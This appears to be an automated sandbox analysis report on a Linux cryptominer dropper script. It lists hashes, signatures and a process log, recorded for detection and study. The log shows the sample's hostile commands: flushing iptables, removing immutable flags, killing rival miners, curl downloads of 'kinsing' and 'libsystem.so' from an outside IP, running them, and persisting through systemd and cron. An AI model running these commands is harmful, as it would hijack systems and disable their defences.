Overview
overview
10Static
static
1script_mal...6c1.sh
ubuntu-18.04-amd64
9script_mal...6c1.sh
debian-9-armhf
9script_mal...6c1.sh
debian-9-mips
9script_mal...6c1.sh
debian-9-mipsel
9script_malware/1.sh
ubuntu-18.04-amd64
10script_malware/1.sh
debian-9-armhf
7script_malware/1.sh
debian-9-mips
7script_malware/1.sh
debian-9-mipsel
7script_mal...459.sh
ubuntu-18.04-amd64
7script_mal...459.sh
debian-9-armhf
7script_mal...459.sh
debian-9-mips
7script_mal...459.sh
debian-9-mipsel
7script_mal...ux.elf
ubuntu-22.04-amd64
3script_mal...da.elf
ubuntu-22.04-amd64
3script_malware/23.sh
ubuntu-18.04-amd64
3script_malware/23.sh
debian-9-armhf
3script_malware/23.sh
debian-9-mips
3script_malware/23.sh
debian-9-mipsel
3script_malware/404
ubuntu-18.04-amd64
script_malware/404
debian-9-armhf
script_malware/404
debian-9-mips
script_malware/404
debian-9-mipsel
script_mal...c5b.py
windows7-x64
3script_mal...c5b.py
windows10-2004-x64
3script_mal...006.sh
ubuntu-18.04-amd64
10script_mal...006.sh
debian-9-armhf
7script_mal...006.sh
debian-9-mips
7script_mal...006.sh
debian-9-mipsel
7script_mal...oPy.sh
ubuntu-18.04-amd64
7script_mal...oPy.sh
debian-9-armhf
7script_mal...oPy.sh
debian-9-mips
7script_mal...oPy.sh
debian-9-mipsel
7Analysis
-
max time kernel
54s -
max time network
60s -
platform
debian-9_armhf -
resource
debian9-armhf-20240611-en -
resource tags
arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem -
submitted
06-12-2024 14:06
Static task
static1
Behavioral task
behavioral1
Sample
script_malware/063ccf736c2c19ca5db70b8d8a7cf00377899c16023c63fee836bdefadd336c1.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
script_malware/063ccf736c2c19ca5db70b8d8a7cf00377899c16023c63fee836bdefadd336c1.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
script_malware/063ccf736c2c19ca5db70b8d8a7cf00377899c16023c63fee836bdefadd336c1.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
script_malware/063ccf736c2c19ca5db70b8d8a7cf00377899c16023c63fee836bdefadd336c1.sh
Resource
debian9-mipsel-20240226-en
Behavioral task
behavioral5
Sample
script_malware/1.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral6
Sample
script_malware/1.sh
Resource
debian9-armhf-20240418-en
Behavioral task
behavioral7
Sample
script_malware/1.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral8
Sample
script_malware/1.sh
Resource
debian9-mipsel-20240611-en
Behavioral task
behavioral9
Sample
script_malware/10c3b6b03a9bf105d264a8e7f30dcab0a6c59a414529b0af0a6bd9f1d2984459.sh
Resource
ubuntu1804-amd64-20240729-en
Behavioral task
behavioral10
Sample
script_malware/10c3b6b03a9bf105d264a8e7f30dcab0a6c59a414529b0af0a6bd9f1d2984459.sh
Resource
debian9-armhf-20240418-en
Behavioral task
behavioral11
Sample
script_malware/10c3b6b03a9bf105d264a8e7f30dcab0a6c59a414529b0af0a6bd9f1d2984459.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral12
Sample
script_malware/10c3b6b03a9bf105d264a8e7f30dcab0a6c59a414529b0af0a6bd9f1d2984459.sh
Resource
debian9-mipsel-20240226-en
Behavioral task
behavioral13
Sample
script_malware/164f8295_linux.elf
Resource
ubuntu2204-amd64-20240611-en
Behavioral task
behavioral14
Sample
script_malware/21162bbd796ad2bf9954265276bfebea8741596e8fe9d86070245d9b5f9db6da.elf
Resource
ubuntu2204-amd64-20240729-en
Behavioral task
behavioral15
Sample
script_malware/23.sh
Resource
ubuntu1804-amd64-20240508-en
Behavioral task
behavioral16
Sample
script_malware/23.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral17
Sample
script_malware/23.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral18
Sample
script_malware/23.sh
Resource
debian9-mipsel-20240611-en
Behavioral task
behavioral19
Sample
script_malware/404
Resource
ubuntu1804-amd64-20240729-en
Behavioral task
behavioral20
Sample
script_malware/404
Resource
debian9-armhf-20240418-en
Behavioral task
behavioral21
Sample
script_malware/404
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral22
Sample
script_malware/404
Resource
debian9-mipsel-20240226-en
Behavioral task
behavioral23
Sample
script_malware/864d7bcd96f8cf35b9e372b6508bc6ef1a704eaaa03c34bd79577b057aebec5b.py
Resource
win7-20240903-en
Behavioral task
behavioral24
Sample
script_malware/864d7bcd96f8cf35b9e372b6508bc6ef1a704eaaa03c34bd79577b057aebec5b.py
Resource
win10v2004-20241007-en
Behavioral task
behavioral25
Sample
script_malware/8e27b76b3903312cc5e93f250d7cf90b7b999592d70dcf2922bb450023014006.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral26
Sample
script_malware/8e27b76b3903312cc5e93f250d7cf90b7b999592d70dcf2922bb450023014006.sh
Resource
debian9-armhf-20240729-en
Behavioral task
behavioral27
Sample
script_malware/8e27b76b3903312cc5e93f250d7cf90b7b999592d70dcf2922bb450023014006.sh
Resource
debian9-mipsbe-20240418-en
Behavioral task
behavioral28
Sample
script_malware/8e27b76b3903312cc5e93f250d7cf90b7b999592d70dcf2922bb450023014006.sh
Resource
debian9-mipsel-20240611-en
Behavioral task
behavioral29
Sample
script_malware/SnOoPy.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral30
Sample
script_malware/SnOoPy.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral31
Sample
script_malware/SnOoPy.sh
Resource
debian9-mipsbe-20240729-en
Behavioral task
behavioral32
Sample
script_malware/SnOoPy.sh
Resource
debian9-mipsel-20240418-en
General
-
Target
script_malware/063ccf736c2c19ca5db70b8d8a7cf00377899c16023c63fee836bdefadd336c1.sh
-
Size
11KB
-
MD5
07b7746b922cf7d7fa821123a226ed36
-
SHA1
bf2df8f2813ef4e2cf61ea193e091b808aa854c7
-
SHA256
063ccf736c2c19ca5db70b8d8a7cf00377899c16023c63fee836bdefadd336c1
-
SHA512
ad29993a88c996f96fdc5c01fda89400b1e27228c58445d181dc6af974a171ee36e014d90aa8e09de6d83e4bfd12d167eb361bd52b6d194af6f249a6812019cb
-
SSDEEP
192:Xws08k5tkd5DFPSV3n7/e867jNKvSbRXA8kWmk4lkCIkvUgoaES8DSWOlA+1esP:XQwL4/e867USbRXA8kWT4yCtvUgDjdWi
Malware Config
Signatures
-
Modifies the dynamic linker configuration file 2 TTPs 1 IoCs
Malware can modify the configuration file of the dynamic linker to preload malicous libraries with every executed process.
description ioc Process File opened for modification /etc/ld.so.preload 063ccf736c2c19ca5db70b8d8a7cf00377899c16023c63fee836bdefadd336c1.sh -
File and Directory Permissions Modification 1 TTPs 10 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 945 chmod 956 chmod 964 chmod 916 chmod 940 chmod 928 chmod 951 chmod 966 chmod 910 chmod 923 chmod -
Flushes firewall rules 1 TTPs 1 IoCs
Flushes/ disables firewall rules inside the Linux kernel.
pid Process 711 iptables -
Attempts to change immutable files 21 IoCs
Modifies inode attributes on the filesystem to allow changing of immutable files.
pid Process 828 xargs 857 xargs 725 xargs 732 xargs 750 xargs 817 xargs 821 xargs 825 xargs 862 xargs 876 xargs 887 xargs 709 chattr 738 xargs 833 xargs 898 xargs 744 xargs 903 xargs 705 chattr 708 chattr 831 xargs 835 xargs -
Creates/modifies Cron job 1 TTPs 19 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.asa3Ff crontab File opened for modification /var/spool/cron/crontabs/tmp.AqolIp crontab File opened for modification /var/spool/cron/crontabs/tmp.n5tp60 crontab File opened for modification /var/spool/cron/crontabs/tmp.SDJtsR crontab File opened for modification /var/spool/cron/crontabs/tmp.bvXCPn crontab File opened for modification /var/spool/cron/crontabs/tmp.0CLNhV crontab File opened for modification /var/spool/cron/crontabs/tmp.K3B81Q crontab File opened for modification /var/spool/cron/crontabs/tmp.yjKCL8 crontab File opened for modification /var/spool/cron/crontabs/tmp.KncNNw crontab File opened for modification /var/spool/cron/crontabs/tmp.ZZjXlN crontab File opened for modification /var/spool/cron/crontabs/tmp.6D1GBx crontab File opened for modification /var/spool/cron/crontabs/tmp.Tj5kWW crontab File opened for modification /var/spool/cron/crontabs/tmp.fWMC6V crontab File opened for modification /var/spool/cron/crontabs/tmp.5GkEul crontab File opened for modification /var/spool/cron/crontabs/tmp.GLgat8 crontab File opened for modification /var/spool/cron/crontabs/tmp.LBvCHs crontab File opened for modification /var/spool/cron/crontabs/tmp.ixXbQW crontab File opened for modification /var/spool/cron/crontabs/tmp.ubf1oh crontab File opened for modification /var/spool/cron/crontabs/tmp.eKPInk crontab -
Enumerates running processes
Discovers information about currently running processes on the system
-
Modifies systemd 2 TTPs 1 IoCs
Adds/ modifies systemd service files. Likely to achieve persistence.
description ioc Process File opened for modification /lib/systemd/system/bot.service 063ccf736c2c19ca5db70b8d8a7cf00377899c16023c63fee836bdefadd336c1.sh -
Checks CPU configuration 1 TTPs 4 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl -
Reads CPU attributes 1 TTPs 44 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pkill -
Enumerates kernel/hardware configuration 1 TTPs 2 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl -
Process Discovery 1 TTPs 5 IoCs
Adversaries may try to discover information about running processes.
pid Process 853 ps 858 ps 899 ps 721 ps 813 ps -
description ioc Process File opened for reading /proc/42/status pkill File opened for reading /proc/775/cmdline ps File opened for reading /proc/11/cmdline pkill File opened for reading /proc/21/status pkill File opened for reading /proc/149/status ps File opened for reading /proc/726/status pkill File opened for reading /proc/345/cmdline ps File opened for reading /proc/27/status ps File opened for reading /proc/6/cmdline pkill File opened for reading /proc/13/status pkill File opened for reading /proc/18/status pkill File opened for reading /proc/106/stat ps File opened for reading /proc/318/status pkill File opened for reading /proc/15/cmdline pkill File opened for reading /proc/18/status pkill File opened for reading /proc/222/status pkill File opened for reading /proc/629/cmdline pkill File opened for reading /proc/696/cmdline pkill File opened for reading /proc/106/status ps File opened for reading /proc/filesystems sed File opened for reading /proc/167/cmdline pkill File opened for reading /proc/315/status pkill File opened for reading /proc/9/status pkill File opened for reading /proc/77/status pkill File opened for reading /proc/429/status pkill File opened for reading /proc/295/status pkill File opened for reading /proc/291/status ps File opened for reading /proc/280/cmdline pkill File opened for reading /proc/2/cmdline pkill File opened for reading /proc/98/cmdline pkill File opened for reading /proc/222/cmdline pkill File opened for reading /proc/18/cmdline pkill File opened for reading /proc/291/cmdline pkill File opened for reading /proc/27/cmdline pkill File opened for reading /proc/21/cmdline pkill File opened for reading /proc/13/status ps File opened for reading /proc/701/stat ps File opened for reading /proc/723/stat ps File opened for reading /proc/488/cmdline pkill File opened for reading /proc/697/status pkill File opened for reading /proc/13/status pkill File opened for reading /proc/9/status pkill File opened for reading /proc/meminfo ps File opened for reading /proc/699/cmdline ps File opened for reading /proc/18/status ps File opened for reading /proc/150/stat ps File opened for reading /proc/28/cmdline pkill File opened for reading /proc/29/status pkill File opened for reading /proc/108/status pkill File opened for reading /proc/29/status pkill File opened for reading /proc/167/cmdline pkill File opened for reading /proc/4/cmdline pkill File opened for reading /proc/19/cmdline pkill File opened for reading /proc/674/cmdline ps File opened for reading /proc/668/cmdline pkill File opened for reading /proc/775/status pkill File opened for reading /proc/811/stat ps File opened for reading /proc/109/status pkill File opened for reading /proc/860/status ps File opened for reading /proc/4/cmdline pkill File opened for reading /proc/281/cmdline pkill File opened for reading /proc/698/cmdline pkill File opened for reading /proc/668/cmdline pkill File opened for reading /proc/25/status pkill -
System Network Configuration Discovery 1 TTPs 1 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 698 063ccf736c2c19ca5db70b8d8a7cf00377899c16023c63fee836bdefadd336c1.sh
Processes
-
/tmp/script_malware/063ccf736c2c19ca5db70b8d8a7cf00377899c16023c63fee836bdefadd336c1.sh/tmp/script_malware/063ccf736c2c19ca5db70b8d8a7cf00377899c16023c63fee836bdefadd336c1.sh1⤵
- Modifies the dynamic linker configuration file
- Modifies systemd
- System Network Configuration Discovery
PID:698 -
/usr/bin/chattrchattr -i /etc/ld.so.preload2⤵
- Attempts to change immutable files
PID:705
-
-
/bin/rmrm -f /etc/ld.so.preload2⤵PID:707
-
-
/usr/bin/chattrchattr -R -i /var/spool/cron2⤵
- Attempts to change immutable files
PID:708
-
-
/usr/bin/chattrchattr -i /etc/crontab2⤵
- Attempts to change immutable files
PID:709
-
-
/sbin/iptablesiptables -F2⤵
- Flushes firewall rules
PID:711
-
-
/usr/bin/idid -u2⤵PID:716
-
-
/bin/lsls -la /etc2⤵PID:718
-
-
/bin/grepgrep -e /dev2⤵PID:719
-
-
/bin/grepgrep -v grep2⤵PID:720
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
- Reads runtime system information
PID:721
-
-
/bin/grepgrep agetty2⤵PID:722
-
-
/bin/grepgrep -v grep2⤵PID:723
-
-
/usr/bin/awkawk "{if(\$3>80.0) print \$2}"2⤵PID:724
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:725
-
-
/usr/bin/pkillpkill -f 42.112.28.2162⤵
- Reads CPU attributes
- Reads runtime system information
PID:726
-
-
/bin/grepgrep 207.38.87.62⤵PID:728
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:729
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:730
-
-
/bin/grepgrep -v -2⤵PID:731
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:732
-
-
/bin/grepgrep 127.0.0.1:520182⤵PID:734
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:735
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:736
-
-
/bin/grepgrep -v -2⤵PID:737
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:738
-
-
/bin/grepgrep 34.81.218.76:94862⤵PID:740
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:741
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:742
-
-
/bin/grepgrep -v -2⤵PID:743
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:744
-
-
/bin/grepgrep 42.112.28.216:94862⤵PID:746
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:747
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:748
-
-
/bin/grepgrep -v -2⤵PID:749
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:750
-
-
/usr/bin/pkillpkill -f .git/kthreaddw2⤵
- Reads CPU attributes
- Reads runtime system information
PID:751
-
-
/usr/bin/pkillpkill -f 80.211.206.1052⤵
- Reads CPU attributes
- Reads runtime system information
PID:752
-
-
/usr/bin/pkillpkill -f 207.38.87.62⤵
- Reads CPU attributes
- Reads runtime system information
PID:753
-
-
/usr/bin/pkillpkill -f p84442⤵
- Reads CPU attributes
PID:754
-
-
/usr/bin/pkillpkill -f supportxmr2⤵
- Reads CPU attributes
- Reads runtime system information
PID:757
-
-
/usr/bin/pkillpkill -f monero2⤵
- Reads CPU attributes
- Reads runtime system information
PID:760
-
-
/usr/bin/pkillpkill -f kthreaddi2⤵
- Reads CPU attributes
- Reads runtime system information
PID:761
-
-
/usr/bin/pkillpkill -f srv002⤵
- Reads CPU attributes
- Reads runtime system information
PID:764
-
-
/usr/bin/pkillpkill -f /tmp/.javae/javae2⤵
- Reads CPU attributes
- Reads runtime system information
PID:766
-
-
/usr/bin/pkillpkill -f .javae2⤵
- Reads CPU attributes
PID:768
-
-
/usr/bin/pkillpkill -f .syna2⤵
- Reads CPU attributes
- Reads runtime system information
PID:770
-
-
/usr/bin/pkillpkill -f .main2⤵
- Reads CPU attributes
- Reads runtime system information
PID:772
-
-
/usr/bin/pkillpkill -f xmm2⤵
- Reads CPU attributes
- Reads runtime system information
PID:777
-
-
/usr/bin/pkillpkill -f solr.sh2⤵
- Reads CPU attributes
PID:779
-
-
/usr/bin/pkillpkill -f /tmp/.solr/solrd2⤵
- Reads CPU attributes
- Reads runtime system information
PID:781
-
-
/usr/bin/pkillpkill -f /tmp/javac2⤵
- Reads CPU attributes
- Reads runtime system information
PID:783
-
-
/usr/bin/pkillpkill -f /tmp/.go.sh2⤵
- Reads CPU attributes
PID:785
-
-
/usr/bin/pkillpkill -f /tmp/.x/agetty2⤵
- Reads CPU attributes
- Reads runtime system information
PID:787
-
-
/usr/bin/pkillpkill -f /tmp/.x/kworker2⤵
- Reads CPU attributes
PID:789
-
-
/usr/bin/pkillpkill -f c3pool2⤵
- Reads CPU attributes
- Reads runtime system information
PID:792
-
-
/usr/bin/pkillpkill -f /tmp/.X11-unix/gitag-ssh2⤵
- Reads CPU attributes
- Reads runtime system information
PID:793
-
-
/usr/bin/pkillpkill -f /tmp/12⤵
- Reads CPU attributes
PID:796
-
-
/usr/bin/pkillpkill -f /tmp/okk.sh2⤵
- Reads CPU attributes
- Reads runtime system information
PID:798
-
-
/usr/bin/pkillpkill -f /tmp/gitaly2⤵
- Reads CPU attributes
- Reads runtime system information
PID:800
-
-
/usr/bin/pkillpkill -f /tmp/.x/kworker2⤵
- Reads CPU attributes
- Reads runtime system information
PID:802
-
-
/usr/bin/pkillpkill -f 43a6eY5zPm3UFCaygfsukfP94ZTHz6a1kZh5sm1aZFB2⤵
- Reads CPU attributes
- Reads runtime system information
PID:804
-
-
/usr/bin/pkillpkill -f /tmp/.X11-unix/supervise2⤵
- Reads CPU attributes
- Reads runtime system information
PID:807
-
-
/usr/bin/pkillpkill -f /tmp/.ssh/redis.sh2⤵
- Reads CPU attributes
PID:809
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
PID:813
-
-
/bin/grepgrep ./udp2⤵PID:814
-
-
/bin/grepgrep -v grep2⤵PID:815
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:816
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:817
-
-
/bin/catcat /tmp/.X11-unix/012⤵PID:820
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:821
-
-
/bin/catcat /tmp/.X11-unix/112⤵PID:824
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:825
-
-
/bin/catcat /tmp/.X11-unix/222⤵PID:827
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:828
-
-
/bin/catcat /tmp/.pg_stat.02⤵PID:830
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:831
-
-
/bin/catcat /tmp/.pg_stat.12⤵PID:832
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:833
-
-
/bin/catcat /data/./oka.pid2⤵PID:834
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:835
-
-
/usr/bin/pkillpkill -f zsvc2⤵
- Reads CPU attributes
- Reads runtime system information
PID:837
-
-
/usr/bin/pkillpkill -f pdefenderd2⤵
- Reads CPU attributes
- Reads runtime system information
PID:839
-
-
/usr/bin/pkillpkill -f updatecheckerd2⤵
- Reads CPU attributes
- Reads runtime system information
PID:845
-
-
/usr/bin/pkillpkill -f cruner2⤵
- Reads CPU attributes
- Reads runtime system information
PID:847
-
-
/usr/bin/pkillpkill -f dbused2⤵
- Reads CPU attributes
PID:849
-
-
/usr/bin/pkillpkill -f bashirc2⤵
- Reads CPU attributes
- Reads runtime system information
PID:850
-
-
/usr/bin/pkillpkill -f meminitsrv2⤵
- Reads CPU attributes
- Reads runtime system information
PID:852
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
- Reads runtime system information
PID:853
-
-
/bin/grepgrep ./oka2⤵PID:854
-
-
/bin/grepgrep -v grep2⤵PID:855
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:856
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:857
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
- Reads runtime system information
PID:858
-
-
/bin/grepgrep "postgres: autovacum"2⤵PID:859
-
-
/bin/grepgrep -v grep2⤵PID:860
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:861
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:862
-
-
/bin/psps ax -o "command,pid" -www2⤵
- Reads CPU attributes
PID:863
-
-
/usr/bin/awkawk "length(\$1) == 8"2⤵PID:864
-
-
/bin/grepgrep -v bin2⤵PID:865
-
-
/bin/grepgrep -v "\\["2⤵PID:866
-
-
/bin/grepgrep -v "("2⤵PID:867
-
-
/bin/grepgrep -v php-fpm2⤵PID:869
-
-
/bin/grepgrep -v proxymap2⤵PID:870
-
-
/bin/grepgrep -v postgres2⤵PID:872
-
-
/bin/grepgrep -v postgrey2⤵PID:873
-
-
/bin/grepgrep -v kinsing2⤵PID:874
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:875
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:876
-
-
/bin/psps ax -o "command,pid" -www2⤵
- Reads CPU attributes
- Reads runtime system information
PID:877
-
-
/usr/bin/awkawk "length(\$1) == 16"2⤵PID:878
-
-
/bin/grepgrep -v bin2⤵PID:879
-
-
/bin/grepgrep -v "\\["2⤵PID:880
-
-
/bin/grepgrep -v "("2⤵PID:881
-
-
/bin/grepgrep -v php-fpm2⤵PID:882
-
-
/bin/grepgrep -v proxymap2⤵PID:883
-
-
/bin/grepgrep -v postgres2⤵PID:884
-
-
/bin/grepgrep -v postgrey2⤵PID:885
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:886
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:887
-
-
/bin/psps ax2⤵
- Reads CPU attributes
- Reads runtime system information
PID:888
-
-
/usr/bin/awkawk "length(\$5) == 8"2⤵PID:889
-
-
/bin/grepgrep -v bin2⤵PID:890
-
-
/bin/grepgrep -v "\\["2⤵PID:891
-
-
/bin/grepgrep -v "("2⤵PID:892
-
-
/bin/grepgrep -v php-fpm2⤵PID:893
-
-
/bin/grepgrep -v proxymap2⤵PID:894
-
-
/bin/grepgrep -v postgres2⤵PID:895
-
-
/bin/grepgrep -v postgrey2⤵PID:896
-
-
/usr/bin/awkawk "{print \$1}"2⤵PID:897
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:898
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
- Reads runtime system information
PID:899
-
-
/bin/grepgrep -v grep2⤵PID:900
-
-
/bin/grepgrep /tmp/sscks2⤵PID:901
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:903
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:902
-
-
/usr/bin/md5summd5sum /etc/kinsing2⤵PID:906
-
-
/usr/bin/awkawk "{ print \$1 }"2⤵PID:907
-
-
/bin/chmodchmod 777 /etc/kinsing2⤵
- File and Directory Permissions Modification
PID:910
-
-
/usr/bin/curlcurl -o /etc/kinsing http://80.71.158.12/kinsing2⤵
- Checks CPU configuration
PID:911
-
-
/bin/chmodchmod +x /etc/kinsing2⤵
- File and Directory Permissions Modification
PID:916
-
-
/usr/bin/md5summd5sum /etc/kinsing2⤵PID:920
-
-
/usr/bin/awkawk "{ print \$1 }"2⤵PID:921
-
-
/bin/chmodchmod 777 /etc/kinsing2⤵
- File and Directory Permissions Modification
PID:923
-
-
/usr/bin/curlcurl -o /etc/kinsing http://80.71.158.12/kinsing2⤵
- Checks CPU configuration
PID:924
-
-
/bin/chmodchmod +x /etc/kinsing2⤵
- File and Directory Permissions Modification
PID:928
-
-
/usr/bin/md5summd5sum /etc/kinsing2⤵PID:932
-
-
/usr/bin/awkawk "{ print \$1 }"2⤵PID:933
-
-
/usr/bin/md5summd5sum /etc/libsystem.so2⤵PID:937
-
-
/usr/bin/awkawk "{ print \$1 }"2⤵PID:938
-
-
/bin/chmodchmod 777 /etc/libsystem.so2⤵
- File and Directory Permissions Modification
PID:940
-
-
/usr/bin/curlcurl -o /etc/libsystem.so http://80.71.158.12/libsystem.so2⤵
- Checks CPU configuration
PID:941
-
-
/bin/chmodchmod +x /etc/libsystem.so2⤵
- File and Directory Permissions Modification
PID:945
-
-
/usr/bin/md5summd5sum /etc/libsystem.so2⤵PID:949
-
-
/usr/bin/awkawk "{ print \$1 }"2⤵PID:950
-
-
/bin/chmodchmod 777 /etc/libsystem.so2⤵
- File and Directory Permissions Modification
PID:951
-
-
/usr/bin/curlcurl -o /etc/libsystem.so http://80.71.158.12/libsystem.so2⤵
- Checks CPU configuration
PID:953
-
-
/bin/chmodchmod +x /etc/libsystem.so2⤵
- File and Directory Permissions Modification
PID:956
-
-
/usr/bin/md5summd5sum /etc/libsystem.so2⤵PID:960
-
-
/usr/bin/awkawk "{ print \$1 }"2⤵PID:961
-
-
/bin/rmrm -rf /tmp/kdevtmpfsi2⤵PID:963
-
-
/bin/chmodchmod 777 /etc/kinsing2⤵
- File and Directory Permissions Modification
PID:964
-
-
/bin/chmodchmod +x /etc/kinsing2⤵
- File and Directory Permissions Modification
PID:966
-
-
/etc/kinsing/etc/kinsing2⤵PID:967
-
-
/usr/bin/idid -u2⤵PID:968
-
-
/bin/systemctlsystemctl enable bot2⤵
- Enumerates kernel/hardware configuration
PID:970
-
-
/bin/systemctlsystemctl start bot2⤵
- Enumerates kernel/hardware configuration
PID:972
-
-
/usr/bin/crontabcrontab -l2⤵PID:975
-
-
/bin/sedsed /base64/d2⤵PID:976
-
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
PID:977
-
-
/usr/bin/crontabcrontab -l2⤵PID:980
-
-
/bin/sedsed /_cron/d2⤵PID:981
-
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
PID:982
-
-
/usr/bin/crontabcrontab -l2⤵PID:985
-
-
/bin/sedsed /31.210.20.181/d2⤵PID:986
-
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
PID:987
-
-
/usr/bin/crontabcrontab -l2⤵PID:988
-
-
/bin/sedsed /update.sh/d2⤵PID:989
-
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
PID:990
-
-
/usr/bin/crontabcrontab -l2⤵PID:991
-
-
/bin/sedsed /logo4/d2⤵PID:992
-
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
PID:993
-
-
/usr/bin/crontabcrontab -l2⤵PID:994
-
-
/bin/sedsed /logo9/d2⤵PID:995
-
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
PID:996
-
-
/usr/bin/crontabcrontab -l2⤵PID:997
-
-
/bin/sedsed /logo0/d2⤵
- Reads runtime system information
PID:998
-
-
